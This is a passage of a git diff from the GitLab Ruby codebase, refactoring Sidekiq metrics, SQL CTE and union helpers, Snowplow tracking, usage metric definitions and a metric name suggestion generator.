- job.fetch(:redis_duration_s, 0)
+ def get_redis_time(payload)
+ payload.fetch(:redis_duration_s, 0)
end
- def get_redis_calls(job)
- job.fetch(:redis_calls, 0)
+ def get_redis_calls(payload)
+ payload.fetch(:redis_calls, 0)
end
- def get_elasticsearch_time(job)
- job.fetch(:elasticsearch_duration_s, 0)
+ def get_elasticsearch_time(payload)
+ payload.fetch(:elasticsearch_duration_s, 0)
end
- def get_elasticsearch_calls(job)
- job.fetch(:elasticsearch_calls, 0)
+ def get_elasticsearch_calls(payload)
+ payload.fetch(:elasticsearch_calls, 0)
end
- def get_gitaly_time(job)
- job.fetch(:gitaly_duration_s, 0)
+ def get_gitaly_time(payload)
+ payload.fetch(:gitaly_duration_s, 0)
end
end
end
end
+
+Gitlab::SidekiqMiddleware::ServerMetrics.prepend_if_ee('EE::Gitlab::SidekiqMiddleware::ServerMetrics')
diff --git a/lib/gitlab/sidekiq_queue.rb b/lib/gitlab/sidekiq_queue.rb
index 807c27a71ff..4b71dfc0c1b 100644
--- a/lib/gitlab/sidekiq_queue.rb
+++ b/lib/gitlab/sidekiq_queue.rb
@@ -21,7 +21,7 @@ module Gitlab
job_search_metadata =
search_metadata
.stringify_keys
- .slice(*Labkit::Context::KNOWN_KEYS)
+ .slice(*Gitlab::ApplicationContext::KNOWN_KEYS)
.transform_keys { |key| "meta.#{key}" }
.compact
diff --git a/lib/gitlab/slash_commands/base_command.rb b/lib/gitlab/slash_commands/base_command.rb
index fcc120112f2..e184afa0032 100644
--- a/lib/gitlab/slash_commands/base_command.rb
+++ b/lib/gitlab/slash_commands/base_command.rb
@@ -36,7 +36,9 @@ module Gitlab
attr_accessor :project, :current_user, :params, :chat_name
def initialize(project, chat_name, params = {})
- @project, @current_user, @params = project, chat_name.user, params.dup
+ @project = project
+ @current_user = chat_name.user
+ @params = params.dup
@chat_name = chat_name
end
diff --git a/lib/gitlab/slash_commands/presenters/issue_new.rb b/lib/gitlab/slash_commands/presenters/issue_new.rb
index 552456f5836..8841fef702e 100644
--- a/lib/gitlab/slash_commands/presenters/issue_new.rb
+++ b/lib/gitlab/slash_commands/presenters/issue_new.rb
@@ -12,16 +12,18 @@ module Gitlab
private
- def fallback_message
- "New issue #{issue.to_reference}: #{issue.title}"
+ def pretext
+ "I created an issue on #{author_profile_link}'s behalf: *#{issue_link}* in #{project_link}"
end
- def fields_with_markdown
- %i(title pretext text fields)
+ def issue_link
+ "[#{issue.to_reference}](#{project_issue_url(issue.project, issue)})"
end
- def pretext
- "I created an issue on #{author_profile_link}'s behalf: *#{issue.to_reference}* in #{project_link}"
+ def response_message(custom_pretext: pretext)
+ {
+ text: pretext
+ }
end
end
end
diff --git a/lib/gitlab/slash_commands/run.rb b/lib/gitlab/slash_commands/run.rb
index 10a545e28ac..40fd7ee4f20 100644
--- a/lib/gitlab/slash_commands/run.rb
+++ b/lib/gitlab/slash_commands/run.rb
@@ -5,7 +5,7 @@ module Gitlab
# Slash command for triggering chatops jobs.
class Run < BaseCommand
def self.match(text)
- /\Arun\s+(?<command>\S+)(\s+(?<arguments>.+))?\z/.match(text)
+ /\Arun\s+(?<command>\S+)(\s+(?<arguments>.+))?\z/m.match(text)
end
def self.help_message
diff --git a/lib/gitlab/slug/environment.rb b/lib/gitlab/slug/environment.rb
index 1b87d3bb626..fd70def8e7c 100644
--- a/lib/gitlab/slug/environment.rb
+++ b/lib/gitlab/slug/environment.rb
@@ -26,16 +26,13 @@ module Gitlab
# Repeated dashes are invalid (OpenShift limitation)
slugified.squeeze!('-')
- slugified =
- if slugified.size > 24 || slugified != name
- # Maximum length: 24 characters (OpenShift limitation)
- shorten_and_add_suffix(slugified)
- else
- # Cannot end with a dash (Kubernetes label limitation)
- slugified.chomp('-')
- end
-
- slugified
+ if slugified.size > 24 || slugified != name
+ # Maximum length: 24 characters (OpenShift limitation)
+ shorten_and_add_suffix(slugified)
+ else
+ # Cannot end with a dash (Kubernetes label limitation)
+ slugified.chomp('-')
+ end
end
private
diff --git a/lib/gitlab/sql/cte.rb b/lib/gitlab/sql/cte.rb
index 7817a2a1ce2..8f37602aeaa 100644
--- a/lib/gitlab/sql/cte.rb
+++ b/lib/gitlab/sql/cte.rb
@@ -15,20 +15,27 @@ module Gitlab
# Namespace
# with(cte.to_arel).
# from(cte.alias_to(ns))
+ #
+ # To skip materialization of the CTE query by passing materialized: false
+ # More context: https://www.postgresql.org/docs/12/queries-with.html
+ #
+ # cte = CTE.new(:my_cte_name, materialized: false)
+ #
class CTE
attr_reader :table, :query
# name - The name of the CTE as a String or Symbol.
- def initialize(name, query)
+ def initialize(name, query, materialized: true)
@table = Arel::Table.new(name)
@query = query
+ @materialized = materialized
end
# Returns the Arel relation for this CTE.
def to_arel
sql = Arel::Nodes::SqlLiteral.new("(#{query.to_sql})")
- Arel::Nodes::As.new(table, sql)
+ Gitlab::Database::AsWithMaterialized.new(table, sql, materialized: @materialized)
end
# Returns an "AS" statement that aliases the CTE name as the given table
diff --git a/lib/gitlab/sql/recursive_cte.rb b/lib/gitlab/sql/recursive_cte.rb
index e45ac5d4765..607ce10d778 100644
--- a/lib/gitlab/sql/recursive_cte.rb
+++ b/lib/gitlab/sql/recursive_cte.rb
@@ -23,9 +23,11 @@ module Gitlab
attr_reader :table
# name - The name of the CTE as a String or Symbol.
- def initialize(name)
+ # union_args - The arguments supplied to Gitlab::SQL::Union class when building inner recursive query
+ def initialize(name, union_args: {})
@table = Arel::Table.new(name)
@queries = []
+ @union_args = union_args
end
# Adds a query to the body of the CTE.
@@ -37,7 +39,7 @@ module Gitlab
# Returns the Arel relation for this CTE.
def to_arel
- sql = Arel::Nodes::SqlLiteral.new(Union.new(@queries).to_sql)
+ sql = Arel::Nodes::SqlLiteral.new(Union.new(@queries, **@union_args).to_sql)
Arel::Nodes::As.new(table, Arel::Nodes::Grouping.new(sql))
end
diff --git a/lib/gitlab/sql/set_operator.rb b/lib/gitlab/sql/set_operator.rb
index d58a1415493..59a808eafa9 100644
--- a/lib/gitlab/sql/set_operator.rb
+++ b/lib/gitlab/sql/set_operator.rb
@@ -8,6 +8,9 @@ module Gitlab
# ORDER BYs are dropped from the relations as the final sort order is not
# guaranteed any way.
#
+ # remove_order: false option can be used in special cases where the
+ # ORDER BY is necessary for the query.
+ #
# Example usage:
#
# union = Gitlab::SQL::Union.new([user.personal_projects, user.projects])
@@ -15,9 +18,10 @@ module Gitlab
#
# Project.where("id IN (#{sql})")
class SetOperator
- def initialize(relations, remove_duplicates: true)
+ def initialize(relations, remove_duplicates: true, remove_order: true)
@relations = relations
@remove_duplicates = remove_duplicates
+ @remove_order = remove_order
end
def self.operator_keyword
@@ -30,7 +34,9 @@ module Gitlab
# By using "unprepared_statements" we remove the usage of placeholders
# (thus fixing this problem), at a slight performance cost.
fragments = ActiveRecord::Base.connection.unprepared_statement do
- relations.map { |rel| rel.reorder(nil).to_sql }.reject(&:blank?)
+ relations.map do |rel|
+ remove_order ? rel.reorder(nil).to_sql : rel.to_sql
+ end.reject(&:blank?)
end
if fragments.any?
@@ -47,7 +53,7 @@ module Gitlab
private
- attr_reader :relations, :remove_duplicates
+ attr_reader :relations, :remove_duplicates, :remove_order
end
end
end
diff --git a/lib/gitlab/sql/union.rb b/lib/gitlab/sql/union.rb
index 7fb3487a5e5..c4e95284c50 100644
--- a/lib/gitlab/sql/union.rb
+++ b/lib/gitlab/sql/union.rb
@@ -4,8 +4,8 @@ module Gitlab
module SQL
# Class for building SQL UNION statements.
#
- # ORDER BYs are dropped from the relations as the final sort order is not
- # guaranteed any way.
+ # By default ORDER BYs are dropped from the relations as the final sort
+ # order is not guaranteed any way.
#
# Example usage:
#
diff --git a/lib/gitlab/static_site_editor/config/file_config.rb b/lib/gitlab/static_site_editor/config/file_config.rb
index 315c603c1dd..4180f6ccf00 100644
--- a/lib/gitlab/static_site_editor/config/file_config.rb
+++ b/lib/gitlab/static_site_editor/config/file_config.rb
@@ -28,7 +28,7 @@ module Gitlab
def to_hash_with_defaults
# NOTE: The current approach of simply mapping all the descendents' keys and values ('config')
# into a flat hash may need to be enhanced as we add more complex, non-scalar entries.
- @global.descendants.map { |descendant| [descendant.key, descendant.config] }.to_h
+ @global.descendants.to_h { |descendant| [descendant.key, descendant.config] }
end
private
diff --git a/lib/gitlab/subscription_portal.rb b/lib/gitlab/subscription_portal.rb
index a918e7bec80..3072210d7c8 100644
--- a/lib/gitlab/subscription_portal.rb
+++ b/lib/gitlab/subscription_portal.rb
@@ -6,6 +6,11 @@ module Gitlab
::Gitlab.dev_or_test_env? ? 'https://customers.stg.gitlab.com' : 'https://customers.gitlab.com'
end
- SUBSCRIPTIONS_URL = ENV.fetch('CUSTOMER_PORTAL_URL', default_subscriptions_url).freeze
+ def self.subscriptions_url
+ ENV.fetch('CUSTOMER_PORTAL_URL', default_subscriptions_url)
+ end
end
end
+
+Gitlab::SubscriptionPortal.prepend_if_jh('JH::Gitlab::SubscriptionPortal')
+Gitlab::SubscriptionPortal::SUBSCRIPTIONS_URL = Gitlab::SubscriptionPortal.subscriptions_url.freeze
diff --git a/lib/gitlab/template/base_template.rb b/lib/gitlab/template/base_template.rb
index dc006877129..31e11f73fe7 100644
--- a/lib/gitlab/template/base_template.rb
+++ b/lib/gitlab/template/base_template.rb
@@ -130,10 +130,10 @@ module Gitlab
return [] if project && !project.repository.exists?
if categories.any?
- categories.keys.map do |category|
+ categories.keys.to_h do |category|
files = self.by_category(category, project)
[category, files.map { |t| { key: t.key, name: t.name, content: t.content } }]
- end.to_h
+ end
else
files = self.all(project)
files.map { |t| { key: t.key, name: t.name, content: t.content } }
diff --git a/lib/gitlab/tracking.rb b/lib/gitlab/tracking.rb
index 9bb793a75cc..b16ae39bcee 100644
--- a/lib/gitlab/tracking.rb
+++ b/lib/gitlab/tracking.rb
@@ -4,35 +4,18 @@ module Gitlab
module Tracking
SNOWPLOW_NAMESPACE = 'gl'
- module ControllerConcern
- extend ActiveSupport::Concern
-
- protected
-
- def track_event(action = action_name, **args)
- category = args.delete(:category) || self.class.name
- Gitlab::Tracking.event(category, action.to_s, **args)
- end
-
- def track_self_describing_event(schema_url, data:, **args)
- Gitlab::Tracking.self_describing_event(schema_url, data: data, **args)
- end
- end
-
class << self
def enabled?
Gitlab::CurrentSettings.snowplow_enabled?
end
- def event(category, action, label: nil, property: nil, value: nil, context: [], project: nil, user: nil, namespace: nil) # rubocop:disable Metrics/ParameterLists
- contexts = [Tracking::StandardContext.new(project: project, user: user, namespace: namespace).to_context, *context]
+ def event(category, action, label: nil, property: nil, value: nil, context: [], project: nil, user: nil, namespace: nil, **extra) # rubocop:disable Metrics/ParameterLists
+ contexts = [Tracking::StandardContext.new(project: project, user: user, namespace: namespace, **extra).to_context, *context]
snowplow.event(category, action, label: label, property: property, value: value, context: contexts)
product_analytics.event(category, action, label: label, property: property, value: value, context: contexts)
- end
-
- def self_describing_event(schema_url, data:, context: nil)
- snowplow.self_describing_event(schema_url, data: data, context: context)
+ rescue => error
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(error, snowplow_category: category, snowplow_action: action)
end
def snowplow_options(group)
diff --git a/lib/gitlab/tracking/destinations/snowplow.rb b/lib/gitlab/tracking/destinations/snowplow.rb
index 4fa844de325..e548532e061 100644
--- a/lib/gitlab/tracking/destinations/snowplow.rb
+++ b/lib/gitlab/tracking/destinations/snowplow.rb
@@ -15,13 +15,6 @@ module Gitlab
tracker.track_struct_event(category, action, label, property, value, context, (Time.now.to_f * 1000).to_i)
end
- def self_describing_event(schema_url, data:, context: nil)
- return unless enabled?
-
- event_json = SnowplowTracker::SelfDescribingJson.new(schema_url, data)
- tracker.track_self_describing_event(event_json, context, (Time.now.to_f * 1000).to_i)
- end
-
private
def enabled?
diff --git a/lib/gitlab/tracking/standard_context.rb b/lib/gitlab/tracking/standard_context.rb
index 8ce16c11267..da030649f76 100644
--- a/lib/gitlab/tracking/standard_context.rb
+++ b/lib/gitlab/tracking/standard_context.rb
@@ -3,11 +3,11 @@
module Gitlab
module Tracking
class StandardContext
- GITLAB_STANDARD_SCHEMA_URL = 'iglu:com.gitlab/gitlab_standard/jsonschema/1-0-3'.freeze
- GITLAB_RAILS_SOURCE = 'gitlab-rails'.freeze
+ GITLAB_STANDARD_SCHEMA_URL = 'iglu:com.gitlab/gitlab_standard/jsonschema/1-0-4'
+ GITLAB_RAILS_SOURCE = 'gitlab-rails'
- def initialize(namespace: nil, project: nil, user: nil, **data)
- @data = data
+ def initialize(namespace: nil, project: nil, user: nil, **extra)
+ @extra = extra
end
def to_context
@@ -35,8 +35,9 @@ module Gitlab
def to_h
{
environment: environment,
- source: source
- }.merge(@data)
+ source: source,
+ extra: @extra
+ }
end
end
end
diff --git a/lib/gitlab/untrusted_regexp.rb b/lib/gitlab/untrusted_regexp.rb
index 6a3e2062070..706c0925302 100644
--- a/lib/gitlab/untrusted_regexp.rb
+++ b/lib/gitlab/untrusted_regexp.rb
@@ -35,6 +35,10 @@ module Gitlab
matches
end
+ def match(text)
+ scan_regexp.match(text)
+ end
+
def match?(text)
text.present? && scan(text).present?
end
diff --git a/lib/gitlab/updated_notes_paginator.rb b/lib/gitlab/updated_notes_paginator.rb
index 3d3d0e5bf9e..d5c01bde6b3 100644
--- a/lib/gitlab/updated_notes_paginator.rb
+++ b/lib/gitlab/updated_notes_paginator.rb
@@ -37,8 +37,8 @@ module Gitlab
end
def fetch_page(relation)
- relation = relation.by_updated_at
- notes = relation.at_most(LIMIT + 1).to_a
+ relation = relation.order_updated_asc.with_order_id_asc
+ notes = relation.limit(LIMIT + 1).to_a
return [notes, false] unless notes.size > LIMIT
diff --git a/lib/gitlab/usage/docs/helper.rb b/lib/gitlab/usage/docs/helper.rb
index 1dc660e574b..6b185a5a1e9 100644
--- a/lib/gitlab/usage/docs/helper.rb
+++ b/lib/gitlab/usage/docs/helper.rb
@@ -33,6 +33,10 @@ module Gitlab
object[:description]
end
+ def render_object_schema(object)
+ "[Object JSON schema](#{object.json_schema_path})"
+ end
+
def render_yaml_link(yaml_path)
"[YAML definition](#{yaml_path})"
end
diff --git a/lib/gitlab/usage/docs/templates/default.md.haml b/lib/gitlab/usage/docs/templates/default.md.haml
index 19ad668019e..26f1aa4396d 100644
--- a/lib/gitlab/usage/docs/templates/default.md.haml
+++ b/lib/gitlab/usage/docs/templates/default.md.haml
@@ -27,6 +27,9 @@
= render_name(name)
\
= render_description(object.attributes)
+ - if object.has_json_schema?
+ \
+ = render_object_schema(object)
\
= render_yaml_link(object.yaml_path)
\
diff --git a/lib/gitlab/usage/metric_definition.rb b/lib/gitlab/usage/metric_definition.rb
index 4cb83348478..9c4255a7c92 100644
--- a/lib/gitlab/usage/metric_definition.rb
+++ b/lib/gitlab/usage/metric_definition.rb
@@ -5,6 +5,7 @@ module Gitlab
class MetricDefinition
METRIC_SCHEMA_PATH = Rails.root.join('config', 'metrics', 'schema.json')
BASE_REPO_PATH = 'https://gitlab.com/gitlab-org/gitlab/-/blob/master'
+ SKIP_VALIDATION_STATUSES = %w[deprecated removed].to_set.freeze
attr_reader :path
attr_reader :attributes
@@ -22,6 +23,16 @@ module Gitlab
attributes
end
+ def json_schema_path
+ return '' unless has_json_schema?
+
+ "#{BASE_REPO_PATH}/#{attributes[:object_json_schema]}"
+ end
+
+ def has_json_schema?
+ attributes[:value_type] == 'object' && attributes[:object_json_schema].present?
+ end
+
def yaml_path
"#{BASE_REPO_PATH}#{path.delete_prefix(Rails.root.to_s)}"
end
@@ -29,7 +40,15 @@ module Gitlab
def validate!
unless skip_validation?
self.class.schemer.validate(attributes.stringify_keys).each do |error|
- Gitlab::ErrorTracking.track_and_raise_for_dev_exception(Gitlab::Usage::Metric::InvalidMetricError.new("#{error["details"] || error['data_pointer']} for `#{path}`"))
+ error_message = <<~ERROR_MSG
+ Error type: #{error['type']}
+ Data: #{error['data']}
+ Path: #{error['data_pointer']}
+ Details: #{error['details']}
+ Metric file: #{path}
+ ERROR_MSG
+
+ Gitlab::ErrorTracking.track_and_raise_for_dev_exception(Gitlab::Usage::Metric::InvalidMetricError.new(error_message))
end
end
end
@@ -38,10 +57,11 @@ module Gitlab
class << self
def paths
- @paths ||= [Rails.root.join('config', 'metrics', '**', '*.yml')]
+ @paths ||= [Rails.root.join('config', 'metrics', '[^agg]*', '*.yml')]
end
- def definitions
+ def definitions(skip_validation: false)
+ @skip_validation = skip_validation
@definitions ||= load_all!
end
@@ -49,6 +69,10 @@ module Gitlab
@schemer ||= ::JSONSchemer.schema(Pathname.new(METRIC_SCHEMA_PATH))
end
+ def dump_metrics_yaml
+ @metrics_yaml ||= definitions.values.map(&:to_h).map(&:deep_stringify_keys).to_yaml
+ end
+
private
def load_all!
@@ -87,7 +111,7 @@ module Gitlab
end
def skip_validation?
- !!attributes[:skip_validation]
+ !!attributes[:skip_validation] || @skip_validation || SKIP_VALIDATION_STATUSES.include?(attributes[:status])
end
end
end
diff --git a/lib/gitlab/usage/metrics/aggregates/aggregate.rb b/lib/gitlab/usage/metrics/aggregates/aggregate.rb
index 1aeca87d849..f77c8cab39c 100644
--- a/lib/gitlab/usage/metrics/aggregates/aggregate.rb
+++ b/lib/gitlab/usage/metrics/aggregates/aggregate.rb
@@ -7,7 +7,7 @@ module Gitlab
UNION_OF_AGGREGATED_METRICS = 'OR'
INTERSECTION_OF_AGGREGATED_METRICS = 'AND'
ALLOWED_METRICS_AGGREGATIONS = [UNION_OF_AGGREGATED_METRICS, INTERSECTION_OF_AGGREGATED_METRICS].freeze
- AGGREGATED_METRICS_PATH = Rails.root.join('lib/gitlab/usage_data_counters/aggregated_metrics/*.yml')
+ AGGREGATED_METRICS_PATH = Rails.root.join('config/metrics/aggregates/*.yml')
AggregatedMetricError = Class.new(StandardError)
UnknownAggregationOperator = Class.new(AggregatedMetricError)
UnknownAggregationSource = Class.new(AggregatedMetricError)
diff --git a/lib/gitlab/usage/metrics/names_suggestions/generator.rb b/lib/gitlab/usage/metrics/names_suggestions/generator.rb
index 33f025770e0..49581169452 100644
--- a/lib/gitlab/usage/metrics/names_suggestions/generator.rb
+++ b/lib/gitlab/usage/metrics/names_suggestions/generator.rb
@@ -6,6 +6,8 @@ module Gitlab
module NamesSuggestions
class Generator < ::Gitlab::UsageData
FREE_TEXT_METRIC_NAME = "<please fill metric name>"
+ REDIS_EVENT_METRIC_NAME = "<please fill metric name, suggested format is: {subject}_{verb}{ing|ed}_{object} eg: users_creating_epics or merge_requests_viewed_in_single_file_mode>"
+ CONSTRAINTS_PROMPT_TEMPLATE = "<adjective describing: '%{constraints}'>"
class << self
def generate(key_path)
@@ -23,7 +25,7 @@ module Gitlab
end
def redis_usage_counter
- FREE_TEXT_METRIC_NAME
+ REDIS_EVENT_METRIC_NAME
end
def alt_usage_data(*)
@@ -31,7 +33,7 @@ module Gitlab
end
def redis_usage_data_totals(counter)
- counter.fallback_totals.transform_values { |_| FREE_TEXT_METRIC_NAME}
+ counter.fallback_totals.transform_values { |_| REDIS_EVENT_METRIC_NAME }
end
def sum(relation, column, *rest)
@@ -47,49 +49,160 @@ module Gitlab
end
def name_suggestion(relation:, column: nil, prefix: nil, distinct: nil)
- parts = [prefix]
+ # rubocop: disable CodeReuse/ActiveRecord
+ relation = relation.unscope(where: :created_at)
+ # rubocop: enable CodeReuse/ActiveRecord
- if column
- parts << parse_target(column)
+ parts = [prefix]
+ arel_column = arelize_column(relation, column)
+
+ # nil as column indicates that the counting would use fallback value of primary key.
+ # Because counting primary key from relation is the conceptual equal to counting all
+ # records from given relation, in order to keep name suggestion more condensed
+ # primary key column is skipped.
+ # eg: SELECT COUNT(id) FROM issues would translate as count_issues and not
+ # as count_id_from_issues since it does not add more information to the name suggestion
+ if arel_column != Arel::Table.new(relation.table_name)[relation.primary_key]
+ parts << arel_column.name
parts << 'from'
end
- source = parse_source(relation)
- constraints = parse_constraints(relation: relation, column: column, distinct: distinct)
+ arel = arel_query(relation: relation, column: arel_column, distinct: distinct)
+ constraints = parse_constraints(relation: relation, arel: arel)
+
+ # In some cases due to performance reasons metrics are instrumented with joined relations
+ # where relation listed in FROM statement is not the one that includes counted attribute
+ # in such situations to make name suggestion more intuitive source should be inferred based
+ # on the relation that provide counted attribute
+ # EG: SELECT COUNT(deployments.environment_id) FROM clusters
+ # JOIN deployments ON deployments.cluster_id = cluster.id
+ # should be translated into:
+ # count_environment_id_from_deployments_with_clusters
+ # instead of
+ # count_environment_id_from_clusters_with_deployments
+ actual_source = parse_source(relation, arel_column)
+
+ append_constraints_prompt(actual_source, [constraints], parts)
+
+ parts << actual_source
+ parts += process_joined_relations(actual_source, arel, relation, constraints)
+ parts.compact.join('_').delete('"')
+ end
- if constraints.include?(source)
- parts << "<adjective describing: '#{constraints}'>"
- end
+ def append_constraints_prompt(target, constraints, parts)
+ applicable_constraints = constraints.select { |constraint| constraint.include?(target) }
+ return unless applicable_constraints.any?
- parts << source
- parts.compact.join('_')
+ parts << CONSTRAINTS_PROMPT_TEMPLATE % { constraints: applicable_constraints.join(' AND ') }
end
- def parse_constraints(relation:, column: nil, distinct: nil)
+ def parse_constraints(relation:, arel:)
connection = relation.connection
::Gitlab::Usage::Metrics::NamesSuggestions::RelationParsers::Constraints
.new(connection)
- .accept(arel(relation: relation, column: column, distinct: distinct), collector(connection))
+ .accept(arel, collector(connection))
.value
end
- def parse_target(column)
- if column.is_a?(Arel::Attribute)
- "#{column.relation.name}.#{column.name}"
- else
+ # TODO: joins with `USING` keyword
+ def process_joined_relations(actual_source, arel, relation, where_constraints)
+ joins = parse_joins(connection: relation.connection, arel: arel)
+ return [] unless joins.any?
+
+ sources = [relation.table_name, *joins.map { |join| join[:source] }]
+ joins = extract_joins_targets(joins, sources)
+
+ relations = if actual_source != relation.table_name
+ build_relations_tree(joins + [{ source: relation.table_name }], actual_source)
+ else
+ # in case where counter attribute comes from joined relations, the relations
+ # diagram has to be built bottom up, thus source and target are reverted
+ build_relations_tree(joins + [{ source: relation.table_name }], actual_source, source_key: :target, target_key: :source)
+ end
+
+ collect_join_parts(relations: relations[actual_source], joins: joins, wheres: where_constraints)
+ end
+
+ def parse_joins(connection:, arel:)
+ ::Gitlab::Usage::Metrics::NamesSuggestions::RelationParsers::Joins
+ .new(connection)
+ .accept(arel)
+ end
+
+ def extract_joins_targets(joins, sources)
+ joins.map do |join|
+ source_regex = /(#{join[:source]})\.(\w+_)*id/i
+
+ tables_except_src = (sources - [join[:source]]).join('|')
+ target_regex = /(?<target>#{tables_except_src})\.(\w+_)*id/i
+
+ join_cond_regex = /(#{source_regex}\s+=\s+#{target_regex})|(#{target_regex}\s+=\s+#{source_regex})/i
+ matched = join_cond_regex.match(join[:constraints])
+
+ if matched
+ join[:target] = matched[:target]
+ join[:constraints].gsub!(/#{join_cond_regex}(\s+(and|or))*/i, '')
+ end
+
+ join
+ end
+ end
+
+ def build_relations_tree(joins, parent, source_key: :source, target_key: :target)
+ return [] if joins.blank?
+
+ tree = {}
+ tree[parent] = []
+
+ joins.each do |join|
+ if join[source_key] == parent
+ tree[parent] << build_relations_tree(joins - [join], join[target_key], source_key: source_key, target_key: target_key)
+ end
+ end
+ tree
+ end
+
+ def collect_join_parts(relations:, joins:, wheres:, parts: [], conjunctions: %w[with having including].cycle)
+ conjunction = conjunctions.next
+ relations.each do |subtree|
+ subtree.each do |parent, children|
+ parts << "<#{conjunction}>"
+ join_constraints = joins.find { |join| join[:source] == parent }&.dig(:constraints)
+ append_constraints_prompt(parent, [wheres, join_constraints].compact, parts)
+ parts << parent
+ collect_join_parts(relations: children, joins: joins, wheres: wheres, parts: parts, conjunctions: conjunctions)
+ end
+ end
+ parts
+ end
+
+ def arelize_column(relation, column)
+ case column
+ when Arel::Attribute
column
+ when NilClass
+ Arel::Table.new(relation.table_name)[relation.primary_key]
+ when String
+ if column.include?('.')
+ table, col = column.split('.')
+ Arel::Table.new(table)[col]
+ else
+ Arel::Table.new(relation.table_name)[column]
+ end
+ when Symbol
+ arelize_column(relation, column.to_s)
end
end
- def parse_source(relation)
- relation.table_name
+ def parse_source(relation, column)
+ column.relation.name || relation.table_name
end
def collector(connection)
Arel::Collectors::SubstituteBinds.new(connection, Arel::Collectors::SQLString.new)
end
- def arel(relation:, column: nil, distinct: nil)
+ def arel_query(relation:, column: nil, distinct: nil)
column ||= relation.primary_key
if column.is_a?(Arel::Attribute)
diff --git a/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/joins.rb b/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/joins.rb
new file mode 100644
index 00000000000..d52e4903f3c
--- /dev/null
+++ b/lib/gitlab/usage/metrics/names_suggestions/relation_parsers/joins.rb
@@ -0,0 +1,74 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Usage
+ module Metrics
+ module NamesSuggestions
+ module RelationParsers
+ class Joins < ::Arel::Visitors::PostgreSQL
+ def accept(object)
+ object.source.right.map do |join|
+ visit(join, collector)
+ end
+ end
+
+ private
+
+ # rubocop:disable Naming/MethodName
+ def visit_Arel_Nodes_StringJoin(object, collector)
+ result = visit(object.left, collector)
+ source, constraints = result.value.split('ON')
+ {
+ source: source.split('JOIN').last&.strip,
+ constraints: constraints&.strip
+ }.compact
+ end
+
+ def visit_Arel_Nodes_FullOuterJoin(object, _)
+ parse_join(object)
+ end
+
+ def visit_Arel_Nodes_OuterJoin(object, _)
+ parse_join(object)
+ end
+
+ def visit_Arel_Nodes_RightOuterJoin(object, _)
+ parse_join(object)
+ end
+
+ def visit_Arel_Nodes_InnerJoin(object, _)
+ {
+ source: visit(object.left, collector).value,
+ constraints: object.right ? visit(object.right.expr, collector).value : nil
+ }.compact
+ end
+ # rubocop:enable Naming/MethodName
+
+ def parse_join(object)
+ {
+ source: visit(object.left, collector).value,
+ constraints: visit(object.right.expr, collector).value
+ }
+ end
+
+ def quote(value)
+ "#{value}"
+ end
+
+ def quote_table_name(name)
+ "#{name}"
+ end
+
+ def quote_column_name(name)
+ "#{name}"
+ end
+
+ def collector
+ Arel::Collectors::SubstituteBinds.new(@connection, Arel::Collectors::SQLString.new)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/usage_data.rb b/lib/gitlab/usage_data.rb
index 5dc3f71329d..b36ca38cd64 100644
--- a/lib/gitlab/usage_data.rb
+++ b/lib/gitlab/usage_data.rb
@@ -87,7 +87,7 @@ module Gitlab
# rubocop: disable Metrics/AbcSize
# rubocop: disable CodeReuse/ActiveRecord
def system_usage_data
- issues_created_manually_from_alerts = count(Issue.with_alert_management_alerts.not_authored_by(::User.alert_bot), start: issue_minimum_id, finish: issue_maximum_id)
+ issues_created_manually_from_alerts = count(Issue.with_alert_management_alerts.not_authored_by(::User.alert_bot), start: minimum_id(Issue), finish: maximum_id(Issue))
{
counts: {
@@ -138,7 +138,7 @@ module Gitlab
in_review_folder: count(::Environment.in_review_folder),
grafana_integrated_projects: count(GrafanaIntegration.enabled),
groups: count(Group),
- issues: count(Issue, start: issue_minimum_id, finish: issue_maximum_id),
+ issues: count(Issue, start: minimum_id(Issue), finish: maximum_id(Issue)),
issues_created_from_gitlab_error_tracking_ui: count(SentryIssue),
issues_with_associated_zoom_link: count(ZoomMeeting.added_to_issue),
issues_using_zoom_quick_actions: distinct_count(ZoomMeeting, :issue_id),
@@ -146,9 +146,9 @@ module Gitlab
issues_created_from_alerts: total_alert_issues,
issues_created_gitlab_alerts: issues_created_manually_from_alerts,
issues_created_manually_from_alerts: issues_created_manually_from_alerts,
- incident_issues: count(::Issue.incident, start: issue_minimum_id, finish: issue_maximum_id),
- alert_bot_incident_issues: count(::Issue.authored(::User.alert_bot), start: issue_minimum_id, finish: issue_maximum_id),
- incident_labeled_issues: count(::Issue.with_label_attributes(::IncidentManagement::CreateIncidentLabelService::LABEL_PROPERTIES), start: issue_minimum_id, finish: issue_maximum_id),
+ incident_issues: count(::Issue.incident, start: minimum_id(Issue), finish: maximum_id(Issue)),
+ alert_bot_incident_issues: count(::Issue.authored(::User.alert_bot), start: minimum_id(Issue), finish: maximum_id(Issue)),
+ incident_labeled_issues: count(::Issue.with_label_attributes(::IncidentManagement::CreateIncidentLabelService::LABEL_PROPERTIES), start: minimum_id(Issue), finish: maximum_id(Issue)),
keys: count(Key),
label_lists: count(List.label),
lfs_objects: count(LfsObject),
@@ -389,8 +389,8 @@ module Gitlab
# rubocop: disable CodeReuse/ActiveRecord
def container_expiration_policies_usage
results = {}
- start = ::Project.minimum(:id)
- finish = ::Project.maximum(:id)
+ start = minimum_id(Project)
+ finish = maximum_id(Project)
results[:projects_with_expiration_policy_disabled] = distinct_count(::ContainerExpirationPolicy.where(enabled: false), :project_id, start: start, finish: finish)
# rubocop: disable UsageData/LargeTable
@@ -591,7 +591,7 @@ module Gitlab
{
events: distinct_count(::Event.where(time_period), :author_id),
groups: distinct_count(::GroupMember.where(time_period), :user_id),
- users_created: count(::User.where(time_period), start: user_minimum_id, finish: user_maximum_id),
+ users_created: count(::User.where(time_period), start: minimum_id(User), finish: maximum_id(User)),
omniauth_providers: filtered_omniauth_provider_names.reject { |name| name == 'group_saml' },
user_auth_by_provider: distinct_count_user_auth_by_provider(time_period),
unique_users_all_imports: unique_users_all_imports(time_period),
@@ -636,8 +636,8 @@ module Gitlab
clusters: distinct_count(::Clusters::Cluster.where(time_period), :user_id),
clusters_applications_prometheus: cluster_applications_user_distinct_count(::Clusters::Applications::Prometheus, time_period),
operations_dashboard_default_dashboard: count(::User.active.with_dashboard('operations').where(time_period),
- start: user_minimum_id,
- finish: user_maximum_id),
+ start: minimum_id(User),
+ finish: maximum_id(User)),
projects_with_tracing_enabled: distinct_count(::Project.with_tracing_enabled.where(time_period), :creator_id),
